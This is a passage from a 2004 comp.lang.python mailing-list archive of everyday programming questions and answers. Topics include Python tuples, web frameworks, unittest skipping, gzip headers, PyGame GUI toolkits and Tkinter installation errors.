Sep 5 16:46:29 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 5 Sep 2004 22:46:29 +0200 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> <1gjlif4.km81clrhaw5vN%aleaxit@yahoo.com> Message-ID: <1gjnvz6.17h31fje468evN%aleaxit@yahoo.com> Andrew Durdin wrote: ... > Below is a better (=easier to use) implementation using metaclasses; > I've submitted it to the Cookbook anyway (recipe #303481) despite > being past the deadling. The NamedTuple function is for convenience > (although the example doesn't use it for the sake of explicitness). Actually I haven't received a snapshot from ActiveState yet, so I suspect anything posted to them until they open for business on Monday (assuming Canada doesn't rest on Labor Day) should get in, anyway. So, thanks! Remember that a comment on an existing recipe is as good as a whole new recipe from my POV (better, if it means I don't have to work hard to merge multiple recipes into one...;-) -- anybody whose material we use in the printed cookbook gets credited as an author, whether the material came as a recipe or as a comment!-) Alex From jerf at jerf.org Tue Sep 7 11:14:35 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Tue, 07 Sep 2004 15:14:35 GMT Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> Message-ID: On Tue, 07 Sep 2004 08:27:25 +0000, Antoon Pardon wrote: > Well I have the following proposition. I don't expect this > to be implemented in the current python implementation, > maybe something for python 3000. But just think about it. You're wasting your time, you know. Nobody here has the power to say "yes" to this. http://www.python.org/dev/process.html http://www.python.org/peps/pep-0001.html If you really want to see this, those documents tell you how to try to get it in. You're obviously committed to this, so why not try it right? Any continued conversation here is a waste of time (the issues have been hashed out, at least twice each), and the only conceivable reason to continue is that you enjoy whining. No amount of posting to c.l.p will change anything. From daniel.dittmar at sap.corp Tue Sep 28 13:12:17 2004 From: daniel.dittmar at sap.corp (Daniel Dittmar) Date: Tue, 28 Sep 2004 19:12:17 +0200 Subject: annoying behavior In-Reply-To: <9418be08.0409280856.9368ddf@posting.google.com> References: <9418be08.0409280856.9368ddf@posting.google.com> Message-ID: Elbert Lev wrote: > # I understand why does this happen, but, to tell the truth, > # this feature is very annoying. > # Are there any plans to relax this restriction? > # In 3.0 :)? You can relax this restriction yourself: class foo: r = None def __init__(self, host): self.f() self.r = True or if you prefer Perl-style attribute access: class foo: def __init__(self, host): self.f() self.r = True def __getattr__ (self, name): return None and I'm sure metaclasses could also be used to good effect. Daniel From carribeiro at gmail.com Mon Sep 20 21:49:55 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 20 Sep 2004 22:49:55 -0300 Subject: How to go about developing in zope In-Reply-To: <4c900ea0.0409160754.2158e732@posting.google.com> References: <4c900ea0.0409160754.2158e732@posting.google.com> Message-ID: <864d370904092018496cdc4e48@mail.gmail.com> On 16 Sep 2004 08:54:16 -0700, john wrote: > Hi > I am developing a timesheet system. > It will have 3 levels of access > 1)Administrator > 2)Approver -- Will approve or reject the timesheet filled by employees > 3)Employees -- Fill in the timesheet which will ontain info like start > time & end for task & task description. > There will be different projects with different employees & approvers > Also I need to genrate reports like timesheet for an employee for this > particular week or month.Or timesheet of a project etc.. > > Is zope suitable for such kind of application? > I read the zope book & now I am more confused. > What is the best way to develop such kinda application in zope? I'm a little bit late on this thread. Zope is a hell of a product -- with all possible meanings of "hell" you can imagine :-) I found the Zope documentation to be a bit intimidating, but it's not a fault of the developers -- it's because it's really hard to explain Zope's unique framework to new users. It's different from conventional programming. To use Zope well, one has to dive deeply and use it all. It's not a tool that you can just take a look and use a piece or other. It's a full fledged framework that can solve lots of problems, but it comes with a price. Said that, you'd be well served using Zope. But perhaps you want to use a simple framework; or instead, you may want to work at a lower level and have more control about how do your application behave. If that's your situation, you have a lot of good frameworks to choose from. I'd name three that I've evaluated: WebWare, Quixote, and CherryPy. Of all three, CherryPy became my favorite, and the upcoming version 2 is even better. Take a look at their website, the documentation and the examples is really good: http://www.cherrypy.org For me the biggest selling point of CherryPy is that it includes a good HTTP server implementation. It's the perfect match for testing, or for easy deployment on Intranets, because the server runs almost anywhere with no need for fine tuning -- unless you're talking about Slashdot-class sites, of course. Take a look at it, and check the news on the CherryPy2 -- the design is simply excellent. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From eurleif at ecritters.biz Mon Sep 13 04:09:30 2004 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Mon, 13 Sep 2004 04:09:30 -0400 Subject: read all available pages on a Website In-Reply-To: References: Message-ID: <2ql2m9F10da10U1@uni-berlin.de> Tim Roberts wrote: > Brad Tilley wrote: > >>Is there a way to make urllib or urllib2 read all of the pages on a Web >>site? > By the way, there are many web sites for which this sort of behavior is not > welcome. Any site that didn't want to be crawled would most likely use a robots.txt file, so you could check that before doing the crawl. From jdc at uwo.ca Thu Sep 2 23:27:05 2004 From: jdc at uwo.ca (Dan Christensen) Date: Thu, 02 Sep 2004 23:27:05 -0400 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> <87acw86she.fsf@uwo.ca> Message-ID: <87y8js3ud2.fsf@uwo.ca> Jason Lai writes: > Dan Christensen wrote: > >> for row in rows: >> try: >> points += 3-row.index(X) >> except: >> pass >> I realize that there are different ways to code it, but most >> are simply reimplementations of the proposed index function. >> Dan > > for index, row in enumerate(rows): > points += 3 - index [I changed "i" to "index" in the last line.] That doesn't do the same thing, but that's because my description wasn't clear. rows is a list of tuples, with each tuple being one person's three votes. E.g. rows = [('J2', 'C64', 'X11'), ('U2', 'J2', 'P3000')] So if X == 'J2', the code should calculate 3+2=5 points. Dan From nytimes at swiftdsl.com.au Fri Sep 17 20:55:16 2004 From: nytimes at swiftdsl.com.au (huy) Date: Sat, 18 Sep 2004 10:55:16 +1000 Subject: Python Webstart ? In-Reply-To: <2r0rq6F12j2qtU1@uni-berlin.de> References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> <2r0rq6F12j2qtU1@uni-berlin.de> Message-ID: <414b8774$0$2405$61ce578d@news.syd.swiftdsl.com.au> Daniel Dittmar wrote: > huy wrote: > >> Just wondering if there were any plans (or existing projects) similar >> to Java webstart for Python. I think this would be a boon for python. >> I would love to start my new project using Python but the deployment >> (and long term upgrading) factor is a major itch which pyfreeze and >> py2exe just doesn't scratch properly. > > > One quick solution would be to install a cvs client together with > python. This would update just those files that have changed. Your > clients could even rollback to an earlier release should there be any > problems. > > It doesn't have to be cvs. Some of the newer source code control systems > have the ability to update through HTTP, should there be some > restrictions because of a firewall. > > A command line client would be quite enough as you would be calling it > from your program anyway. There is no need for your clients to learn > anything about it. > > Daniel Great idea Daniel. An SVN client would work well. I'll think about it for a while but I think this would be a real option. Huy From dybka at berti.pl Mon Sep 6 03:36:15 2004 From: dybka at berti.pl (Remigiusz Dybka) Date: Mon, 06 Sep 2004 09:36:15 +0200 Subject: Dbase Connection In-Reply-To: <3Jp_c.15967$Xi.2705@fe1.texas.rr.com> References: <3Jp_c.15967$Xi.2705@fe1.texas.rr.com> Message-ID: Stan Cook wrote: > Does anyone know how or what I can use to open, read and extract data from a > dbase database? I haven't found anything of much use with accompanying > documentation. > > > Under win32 you can use the Micros~1 Dbf driver for ODBC. Just set up a DSN (or not, if you prefer to address the files directly from the python source) and use it through python ODBC implemetation (a part of win32all). From curzio.basso at unibas.ch Tue Sep 28 10:19:44 2004 From: curzio.basso at unibas.ch (Curzio Basso) Date: Tue, 28 Sep 2004 16:19:44 +0200 Subject: breaking up a list In-Reply-To: References: Message-ID: <41597300$1@maser.urz.unibas.ch> Larry Bates wrote: >> x=[1,2,3,4,5,6] >> > > pairs=[[a,b] for a,b in x] > >>> [[a,b] for a,b in x] TypeError: unpack non-sequence From maney at pobox.com Sat Sep 18 14:16:07 2004 From: maney at pobox.com (Martin Maney) Date: Sat, 18 Sep 2004 18:16:07 +0000 (UTC) Subject: So I guess PyUI is long abandonded? What else is there? Message-ID: In my copious spare time [that's a joke, I say, that's a joke] I've been dabbling at getting a computerized version of a board game working. After deciding that tk just made me want to vomit, and wx was like swimming through concrete slurry, and others I have mercifully forgotten about, I stumbled across pygame. (maybe not for the first time; I think I set it aside earlier because it was described as being aimed at a different sort of game, and besides, I had hoped wx might serve more than one purpose for me.) This summer I picked the project up again, and with PyGame pretty nearly all the things that had me tearing my hair out with wx instead just work. Well, okay, I did need some help finding the less visible parts of the docs, but that took all of five minutes on IRC to get straightened away. So the biggest part of the GUI is mostly done: the board and such display, scroll, etc. Next up are the mostly non-graphic bits, the text and numbers section of the display. I guess this part would have been more or less easy in wx, but PyGame offers only very low-level primitives. PyUI was the most promising package I found, but it seems to be long dead, judging by the lack of life in its mailing list, untouched bug list, and general brokenness. The fact that the last several releases are all zip archives with names that include "win32" reinforces my feeling that this is not going to get me anywhere useful for a project that has to work on both MS and X11 platforms. :-( So I'm just trolling, my hook baited in accordance with Aahz's instructions, in hopes that PyUI still lives in a form that would be useful, and that someone will rise to the bait and explain to me the error of my ways (and more usefully, where the useful versions are to be found). Alternately, any leads on a nice, simple widget set for a PyGame environment would be equally appreciated. Thanks! [I don't normally like to get emailed and posted replies, but since I only intermittently have time to sift through this very active group, in this case I would appreciate the favor, if it's convenient.] -- If there were a verb meaning "to believe falsely", it would not have any significant first person, present indicative. -- Wittgenstein From aleaxit at yahoo.com Thu Sep 16 17:23:29 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 16 Sep 2004 23:23:29 +0200 Subject: too many self References: <4Kudnc-ZFdxUV9XcRVn-iA@powergate.ca> <10kjrvs2hmb19a5@corp.supernews.com> Message-ID: <1gk8aoc.1q5ydna134fs0hN%aleaxit@yahoo.com> aurora wrote: ... > Of couse I think this syntax the best: > > if max < list[index]: > max = list[index]: Just to ensure that the best approach, self.max = max(self.max, self.list[index]) isn't available any more, _and_ you can't use the list built-in name any more either? What a scoop! > This remind me of those awful Hungarian notation. Explicit scope denotation, and Hungarian notation (which prefixes names with type-connected prefix strings), have essentially nothing to do with each other, of course. Making classes implicit scopes (like, say, C++, but differently from, say, Modula-3) is simply a horrid mess, where you can't use bare names safely without carefully studying all the internals of all your ancestor classes... and if any such ancestor ever adds a private name it can break every subclass which _did_ use bare names. A bad idea even in a language where the compiler can find out statically where every name comes from (because human readers can't), just as bad as "from foo import *" in Python or "using namespace foo" in C++ except that you can't avoid it by just eschewing one misdesigned construct. In a language where even the compiler _cannot_ tell statically which bare names come from where (except for functions' locals), criticizing the language design choice of _not_ making classes into implcit scopes doesn't even _verge_ on the ridiculous -- it plunges right deep into it. Alex From erik at heneryd.com Sun Sep 12 07:11:53 2004 From: erik at heneryd.com (Erik Heneryd) Date: Sun, 12 Sep 2004 13:11:53 +0200 Subject: open and shut case In-Reply-To: References: Message-ID: <41442EF9.9020106@heneryd.com> Elaine Jackson wrote: > Can python close a web-browser window it opened itself? The window in question > will be displaying a webpage that resides on the local computer, which is > running Windows 98. Knowing a way to do this would really help me out. Not easily. I guess something like this could work, if you have Mark Hammonds win32 extensions installed: (very untested) import os, win32api # start browser pid = os.spawnlp(os.P_NOWAIT, "iexplore.exe", "iexplore.exe", r"c:\blabla\hej.html") # ... # kill browser win32api.TerminateProcess(pid, 0) HTH Erik From onurb at xiludom.gro Mon Sep 20 18:56:27 2004 From: onurb at xiludom.gro (bruno modulix) Date: Tue, 21 Sep 2004 00:56:27 +0200 Subject: python is going to die! =( In-Reply-To: <278de0e.0409201131.57baf7f9@posting.google.com> References: <278de0e.0409201131.57baf7f9@posting.google.com> Message-ID: <414f61bf$0$29449$636a15ce@news.free.fr> Neuruss a ?crit : > Julio, are you aware of projects such as Ironpython? > Soon you'll be able to use python from within Visual Studio or, better > yet, SharDevelop or MonoDevelop. So you'll have an excellent IDE and > an excellent language. Just wait and see... > > Regarding your rant, I'm not very impressed by your language nor your > manners but I understand your point. Perhaps you didn't know that > there are IDE's for Python already. You can use Boa Constructor or, > for a simplest and easiest alternative, PythonCard (both are free and > cross-platform). > For a commercial alternative, you have BlackAdder, and I'm sure there > are others, although I haven't tried them. Well, you forgot emacs, the best Python IDE around - and it's free... From chrisks at NOSPAM.udel.edu Sun Sep 19 05:03:13 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sun, 19 Sep 2004 09:03:13 GMT Subject: Determining if a client PC has an Internet connection In-Reply-To: References: Message-ID: Cliff Wells wrote: > Hi, > > I'm writing an application that needs to know if an Internet connection > is available. Basically, I want to have something similar to what a lot > of email clients have, where the app can work either in "online" or > "offline" mode (it keeps a cache of downloaded info, so it can work > without a connection if needed). > > The basic problem is this: it downloads info (RSS feeds) from a variety > of sources. Any one (or more) of these could conceivably fail to > download, so simply waiting for a timeout isn't sufficient (not easy to > differentiate between having a bad server and the client not having a > connection). Further, if it waits (say 30s) for the timeout to occur, > this is going to be a bit annoying to the user. > > I've considered trying to connect to a stable host (i.e. Google) and if > that fails then assume the client can't connect to the internet, but > this seems like a sub-optimal solution. > > Is there any way to reliably determine the state of the client's > internet connectivity? > > Regards, > Cliff > As others have mentioned, there's no clean-cut paradigm in the language that can distinguish between the Internet and your local LAN. Your best bet is to simple go about your business can try accessing hosts like normal. When several of your requests timeout, then you can safely assume the local host to be offline. That's what you see in those applications when they say you're "offline"; an educated guess. After all, if you can't reach your target, then you are, for all intents and purposes, offline. From alban at magproductions.nl Mon Sep 27 09:12:50 2004 From: alban at magproductions.nl (Alban Hertroys) Date: Mon, 27 Sep 2004 15:12:50 +0200 Subject: Psycopg; How to detect row locking? In-Reply-To: References: Message-ID: <415811D2.7070408@magproductions.nl> Jorge Godoy wrote: > Are you manually locking those rows? If so, you can maintain some > structure to keep track of locked rows. No, I don't. That may be a solution, though. Then at least I *know* when a record is locked... But it's going to complicate things, if the transaction is split among multiple threads... I'm not looking forward to that. I think the rows are locked because the inserts haven't finished inserting yet. The select takes place in the same session AFAIK, but not in the same thread of my Python application. I'm probably looking at a race condition here... (Ain't multithreading fun...) I'm also not sure whether I'm actually looking at the same transaction. Is there a way to verify such? I do know for certain that all transactions use the same database connection (I pass it along in a context object, together with config settings and debugging methods). And I'm also quite sure that it doesn't commit in between. > If you are not locking, PostgreSQL uses MVCC where it locks as little as > possible and you are able to select the new data inside the same > transaction and old data outside of it (until it is commited). I suppose there must be a short while where the row is locked during the insert, where I may already be trying to select it. If this is indeed the case, I would expect to receive a "row is locked" type of error. Alternatively, the select may be waiting (w/in psql) until the insert finished (which should be pretty soon in all cases[*]), but that depends on implementations beyond my reach. Not that that matters, I shouldn't have this problem in that case. [*] Unless you break your database with triggers that lock up or something similar. That could be a reason for the PostgreSQL team to not let select wait until an insert on the same row finished, but to return an error instead. From peter at engcorp.com Fri Sep 17 08:00:42 2004 From: peter at engcorp.com (phansen) Date: Fri, 17 Sep 2004 08:00:42 -0400 Subject: XML_RPC and unicode problems In-Reply-To: <414A8659.7080902@v.loewis.de> References: <7bf84d19.0409161548.521da358@posting.google.com> <414A8659.7080902@v.loewis.de> Message-ID: Martin v. L?wis wrote: > phansen wrote: > >> Seems to me that description is inadequate, if one has to revert >> to to pass through a string with an \xa0 in it. > > No. \xa0 just is not a character. In XML, all bytes must denote > characters, and \xa0 does not denote any character when the > encoding is UTF-8. > > To transmit binary data, use the base64 element, available through > xmlrpclib.Binary in Python. That's what I said, isn't it? Just checking, because you started your response with "No", as though I had said something incorrect. -Peter From smcg4191 at frii.RimoovThisToReply.com Wed Sep 22 19:03:22 2004 From: smcg4191 at frii.RimoovThisToReply.com (Stuart McGraw) Date: Wed, 22 Sep 2004 17:03:22 -0600 Subject: bad data from urllib when run from MS .bat file References: <414cb56d$0$58900$75868355@news.frii.net><87acvmxayq.fsf@pobox.com><414e40a1$0$58900$75868355@news.frii.net><87zn3kzo7s.fsf@pobox.com> Message-ID: <415204bc$0$58900$75868355@news.frii.net> Thanks everyone for all the suggestions. I will follow up on them, but not right now. I am about to move halfway around the world for a few months so I will need to get settled in before I have time to look into this more. From peter at engcorp.com Mon Sep 6 19:02:50 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 06 Sep 2004 19:02:50 -0400 Subject: How to actually write a program? In-Reply-To: References: Message-ID: Neil Benn wrote: > Nick Evans wrote: >> I have been on and off learning to code ... > > It's good that you are thinking of this rather than just trying > to manically write some code to see what happens. As a general point, > there is a system that you can use to help you model out your program > (taught to most computer science students). This system is called UML > (Unified Modeling Language) - I would advise getting a good book about > UML and reading through that. Ahhh!! Run! Run, Neil, run! UML! > It's is complementary to the XP (Extreme > Programming) stuff that people are talking about. Ahhh!!! Run away some more! UML and XP are nearly anti-thetical. Don't even consider going there. (Well, consider it, but please don't waste any money buying a UML book as you do. Find a few web sites, then ... run away! It's cheaper that way.) In my opinion, if you try to get a beginning programmer to work using UML when he isn't even sure how to start writing code in an empty file, you will not have a beginning programmer for long. And I don't mean because you've just got him over that initial hump... In another opinion of mine, if you try to get a more advanced programmer to work using UML, you also deserve whatever you get... -rabidly-anti-UML-ically y'rs, Peter From peter at engcorp.com Wed Sep 15 18:46:07 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 15 Sep 2004 18:46:07 -0400 Subject: newbie sending hex values over UDP socket In-Reply-To: References: Message-ID: Bill Seitz wrote: > Current stump in this area: taking current time (time.time()) and > delivering as 4-byte blob. > >>>>t= int(time.time()) >>>>format = 'l' >>>>struct.pack(format,t) > > '\x10\xb7HA' What's wrong with this one? Note that it is a 4-byte blob, as requested. You can always check that with len(s). In this case, len('\x10\xb7HA') == 4. -Peter From jjl at pobox.com Tue Sep 7 19:54:50 2004 From: jjl at pobox.com (John J. Lee) Date: 08 Sep 2004 00:54:50 +0100 Subject: Automated Perl to Python translation? References: <413d82d3$1@news.unimelb.edu.au> Message-ID: <87n0014otx.fsf@pobox.com> > Stephen Ferg wrote: [...] > Does anybody know of any tools to automate (or assist) Perl to Python > translation? Perl has a notoriously hairy lexical structure. Maybe the parsing isn't much fun either. The "only perl can parse Perl" quote (Larry Wall?) springs to mind. Given that, and working on the assumption you're sufficiently insane to go through with this project , I guess you'd definitely want to do precisely that: use perl to parse the Perl code. Bon chance. [...] Maurice LING writes: > If this can be worked out, Perl/Python/Java combination is too > powerful to imagine...... :-( I don't think that's a reason for wanting a translator. If you just want to call Python from Perl, or call Perl from Python, I guess you'd use pyperl (though I don't know if it's actively maintained). John From lpitcher at sympatico.ca Fri Sep 10 20:58:27 2004 From: lpitcher at sympatico.ca (Lew Pitcher) Date: Fri, 10 Sep 2004 20:58:27 -0400 Subject: Xah Lee's Unixism In-Reply-To: <1712.747T640T11304157@kltpzyxm.invalid> References: <413f6044.512285562@News.individual.net> <1712.747T640T11304157@kltpzyxm.invalid> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Charlie Gibbs wrote: [snip] >>ObUnix: Max OS X has a "ditto" command that's the same as "cp" only >>different. > > > Wasn't "ditto" the name of one of those console-driven mainframe > utilities that would copy anything to anything? IBM 360/370/390... DOS (later DOS/VS, then DOS/VSE, then VSE/SP, then VSE/ESA) has a batch utility called DITTO, which copies files from device to device. The closest analog in the pre-Unix and Unix world would be PIP - -- Lew Pitcher Master Codewright & JOAT-in-training | GPG public key available on request Registered Linux User #112576 (http://counter.li.org/) Slackware - Because I know what I'm doing. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBQk2yagVFX4UWr64RApbeAJ9NPnvj1xxEHYQ88uZxuSPoFVAaJQCguw5X +MJ6JJ0NS1fc4FnTsNCIzrI= =MP33 -----END PGP SIGNATURE----- From kirk at eyegor.jobsluder.net Mon Sep 27 01:58:47 2004 From: kirk at eyegor.jobsluder.net (Kirk Job-Sluder) Date: Mon, 27 Sep 2004 05:58:47 GMT Subject: emulating du with os.walk References: <41579e43$0$9613$9b622d9e@news.freenet.de> Message-ID: On 2004-09-27, Martin v. L?wis wrote: > Kirk Job-Sluder wrote: >> There should be an easy way to get around this, or perhaps I'm better >> off just parsing the output of du. > > I suggest that you don't use os.path.walk, but write a recursive > function yourself. You should find that the entire problem can > be solved in 12 lines of Python code. Yeah, I finally solved it with a recursive function. Took me 16 including the bookeeping. > > Regards, > Martin -- Kirk Job-Sluder "The square-jawed homunculi of Tommy Hilfinger ads make every day an existential holocaust." --Scary Go Round From narshe at gmail.com Wed Sep 15 13:51:52 2004 From: narshe at gmail.com (Josh Close) Date: Wed, 15 Sep 2004 12:51:52 -0500 Subject: See exactly what a function has returned In-Reply-To: References: Message-ID: <4a0cafe204091510512fc955f9@mail.gmail.com> On Wed, 15 Sep 2004 13:30:22 -0400, Brad Tilley wrote: > Peter Hansen wrote: > > Brad Tilley wrote: > > > >> Is there an easier way to do this: > >> > >> def print_whats_returned(function): > >> print function > >> print type(function) > > > > > > What is "this"? The subject line and the name of > > the function imply it is something to do with the > > return values of a function, yet the function is > > never called. While Python is sometimes called > > executable pseudo-code, I think in this case you'd > > be better off using plain English to describe what > > your goal is. > > > > -Peter > > OK, > > def print_whats_returned(function): > ## A function that shows what another function has returned > ## as well as the 'type' of the returned data. > print function > print type(function) > > def send_net_params_to_admin(ip_param, port_param): > ip = get_server_ip() > port = get_server_port() > return ip, port > > print_whats_returned(send_net_params_to_admin(get_server_ip(), > get_server_port())) def send_net_params_to_admin(ip_param, port_param): ip = get_server_ip() port = get_server_port() return ip, port print send_net_params_to_damin(ip_param, port_param) From fredrik at pythonware.com Mon Sep 20 08:46:35 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 20 Sep 2004 14:46:35 +0200 Subject: uncompressed size of .gz file References: <000001c49ed3$35125b20$0a0c10ac@che2003> <200409201436.24139.heikowu@ceosg.de> Message-ID: Heiko Wundram wrote: > "All multi-byte numbers in the format described here are stored with the > least-significant byte first (at the lower memory address)." > > least-significant byte first to me sounds like big-endian, doesn't it? no. > Or am I plain wrong on this? yes. plain wrong. ("little" and "big" has nothing to do with least and most; it's a reference to a story about the best way to break an egg, by a certain jonathan swift) From remy.blank_asps at pobox.com Fri Sep 24 05:08:44 2004 From: remy.blank_asps at pobox.com (Remy Blank) Date: Fri, 24 Sep 2004 11:08:44 +0200 Subject: unittest.py patch: add skipped test functionality Message-ID: Ok, here we go. I added the possibility for tests using the unittest.py framework to be skipped. Basically, I added two methods to TestCase: TestCase.skip(msg): skips unconditionally TestCase.skipIf(expr, msg): skips if expr is true These can be called either in setUp() or in the test methods. I also added reporting of skipped tests to TestResult, _TextTestResult and TextTestRunner. If no tests are skipped, everything should be the same as before. I am using Python 2.3.3, so the changes are against the file in that version. I attached the patch against the original (unittest_skip.patch), a complete test suite for the new functionality (testSkippedTest.py) and a usage example (SkippedTestDemo.py). I would welcome any feedback about the idea, the implementation, suggestions for improvements, fixes, etc. I would also like to know if this would be a candidate for inclusion into the unittest.py provided with Python. I suppose I should contact Steve Purcell directly for that. -- Remy Quick usage example: class ReadShadowTest(unittest.TestCase): """Read access to /etc/shadow""" def testReadingAsRoot(self): """Reading /etc/shadow as root""" self.skipIf(os.geteuid() != 0, "Must be root") open("/etc/shadow").close() The attached example (SkippedTestDemo.py) produces the following output: $ ./SkippedTestDemo.py -v Access to autoexec.bat ... SKIPPED (Only available on Windows) Access to config.sys ... SKIPPED (Only available on Windows) Reading /etc/shadow as root ... SKIPPED (Must be root) Reading /etc/shadow as non-root ... ok ---------------------------------------------------------------------- Ran 4 tests in 0.004s OK (skipped=3) -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: unittest_skip.patch URL: -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: testSkippedTest.py URL: -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: SkippedTestDemo.py URL: From jeff at ccvcorp.com Wed Sep 1 15:44:58 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 01 Sep 2004 19:44:58 GMT Subject: Debunking Art - fraudster with python AI engine? References: <4128f60b$1@news.unimelb.edu.au> <4133ff91$1@news.unimelb.edu.au> <4135567e$1@news.unimelb.edu.au> Message-ID: <413626b7$1@news.unimelb.edu.au> Nick wrote: >"Chris S." wrote in message news:<4133ff91$1 at news.unimelb.edu.au>... > > >>So what's the problem? You make it sound like he *must* be plagerizing >>someone else's work, but PyAIML is for creating just such an interface. >>There are even free brains available. Considering the term "AI engine" >>has no official meaning, a shell powered by an AIML interpreter could >>easily be one of many possible solutions to such a setup. >> >> >Well, if I were using a cryptographic library, I wouldn't dare claim I >were a cryptographer. I may say that I had written an application that >uses a third party cryptographic component... I think in this context >he is using the fact that the chances of a technical person >questioning his work are extremely slim. > > It's also possible that he simply misunderstood what you meant by "engine", and was meaning to say that he wrote the program (using available libraries). The breakdown of a program into functional components is not as obvious as many of us tend to think, and the naming of those components is even less obvious. I can easily see a nontechnical hobbyist-programmer, who's taken an off-the-shelf NLP library and customized its responses to particular words/phrases, not seeing this as being an entirely different thing than writing an AI engine (when he has perhaps never heard the term "AI engine" before). The important thing, here, at least to my mind, is whether or not this installation was interesting as a piece of art. If it was interesting, then I could care less whether the artist (metaphorically) made his own paints or got them at the local hobby store -- even if he *is* stretching the truth about which he'd done. Jeff Shannon Technician/Programmer Credit International [ comp.ai is moderated. To submit, just post and be patient, or if ] [ that fails mail your article to , and ] [ ask your news administrator to fix the problems with your system. ] From guess at My.email.address.scum.com Mon Sep 20 12:05:13 2004 From: guess at My.email.address.scum.com (Player) Date: Mon, 20 Sep 2004 17:05:13 +0100 Subject: some basic questions... Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello I am teaching myself python, and I have gotten a long way, it's quite a decent language and the syntax is great :) However I am having a few, "problems" shall we say with certain conventions in python. In the book I am using to teach me more of the inner working of python, and further into python that the basic tutorials go, there is this wording below... [book quote] When a file containing python code is executed, the built in variable _name_ is populated with the name of the module being executed. If the value of _name_ is _main_, then that file is the original file that was used to invoke the application from command line or an icon. This is usefull, as it allows code to know the difference between when it is invoked & when it is imported by another python program. It is also provides a convenient place to provide one-time startup code. [end quote] Can someone explain this in some different wording, because I dn't know if my understanding of what is said in that paragraph is right or not? ALSO Below is some example of some code, for use with python and PyGame and PyUI, that I would like to ask a question about.. import pyui class Application: def _init_(self, width, height): self.width = width self.height = height def run(self): """I am called to begin the Application or game. """ def run() width = 800 height = 600 pyui.init(width, height) app= Application(width, height) app.run() if _name == '_main_': run() Now I no that this code declares an Application class, and then invokes a run method to create an instance of that class. Then the Application cobject then uses the run method called to start the main loop. Which basically created a game window of size 800 by 600. What I don't understand is the, "self" bit of the two top functions. Can somebody explain what the, "self" is actually for?? Thanks ina dvance :) Player - -- ************* The Imagination may be compared to Adam's dream- he awoke and found it truth. John Keats. ************* -----BEGIN PGP SIGNATURE----- Version: PGP 8.0 iQA/AwUBQU7/ty/z2sM4qf2WEQJRrQCguAtRwDQ6UfFRXDGZ63DDjWdnID0AmwX3 4K3iWiybh9BEKPh9b2h0m9Tr =0niY -----END PGP SIGNATURE----- From jeff at ccvcorp.com Wed Sep 29 15:27:45 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 29 Sep 2004 12:27:45 -0700 Subject: interactive help on string functions - howto In-Reply-To: References: <415aede9$0$24598$ba620e4c@news.skynet.be> Message-ID: <10lm31vjmqubh6a@corp.supernews.com> George Yoshida wrote: > Helmut Jarausch wrote: > >> entering >> help('rstrip') >> or >> help('ljust') >> >> into IDLE's shell window I only get >> no Python documentation found ... >> >> Am I missing something? > > > You need to remove quotes from arguments, i.e., > >>> help(rstrip) # help('rstrip') is a no-no But note that help(rstrip) doesn't provide any useful help either: >>> help(rstrip) Traceback (most recent call last): File "", line 1, in ? NameError: name 'rstrip' is not defined >>> What's needed is help(str.rstrip), which does indeed work. (As already pointed out by other posters.) Jeff Shannon Technician/Programmer Credit International From usenet_spam at janc.invalid Sun Sep 19 19:23:12 2004 From: usenet_spam at janc.invalid (JanC) Date: Sun, 19 Sep 2004 23:23:12 GMT Subject: Economic considerations References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> Message-ID: Jorge Godoy schreef: > claird at lairds.us (Cameron Laird) writes: > >> Incidentally, my expert sources emphasize to me that GIMP still >> has a long way to go before it effectively rivals Photoshop. > > I've been told that too. Maybe because I'm not into the graphics area I > think it works pretty well :-) Just try to make a CMYK separation or use Pantone colors in The GIMP and you'll know what they are talking about... ;-) -- JanC "Be strict when sending and tolerant when receiving." RFC 1958 - Architectural Principles of the Internet - section 3.9 From eric_brunel at despammed.com Wed Sep 15 11:04:43 2004 From: eric_brunel at despammed.com (Eric Brunel) Date: Wed, 15 Sep 2004 17:04:43 +0200 Subject: Problem with Python and _tkinter on SunOS system References: Message-ID: gaool at caramail.com wrote: > Hello, > > I try to launch a Python script on SunOS system but I have this error: > > """Traceback (most recent call last): > File "ihm1_1.py", line 3, in ? > from Tkinter import * > File "/opt/sfw/lib/python2.3/lib-tk/Tkinter.py", line 38, in ? > import _tkinter # If this fails your Python may not be > configured for Tk > ImportError: ld.so.1: python: fatal: relocation error: file > /usr/local/lib/libtk8.4.so: symbol __eprintf: referenced > symbol not found""" Does tcl/tk work? I.e., if you run wish or wish8.4, does it work? It seems that it can be a problem with a shared object used by libtk8.4.so that cannot be found. [snip] > Then, I tried to find a solution and this is what i've found > on the Python web site: > """ > Step 1 - can _tkinter be imported? > Try the following command at the Python prompt: > >>> import _tkinter # with underscore, and lowercase 't' > * If it works, skip to the next step. > * If it fails with "No module named _tkinter", your Python > configuration needs to 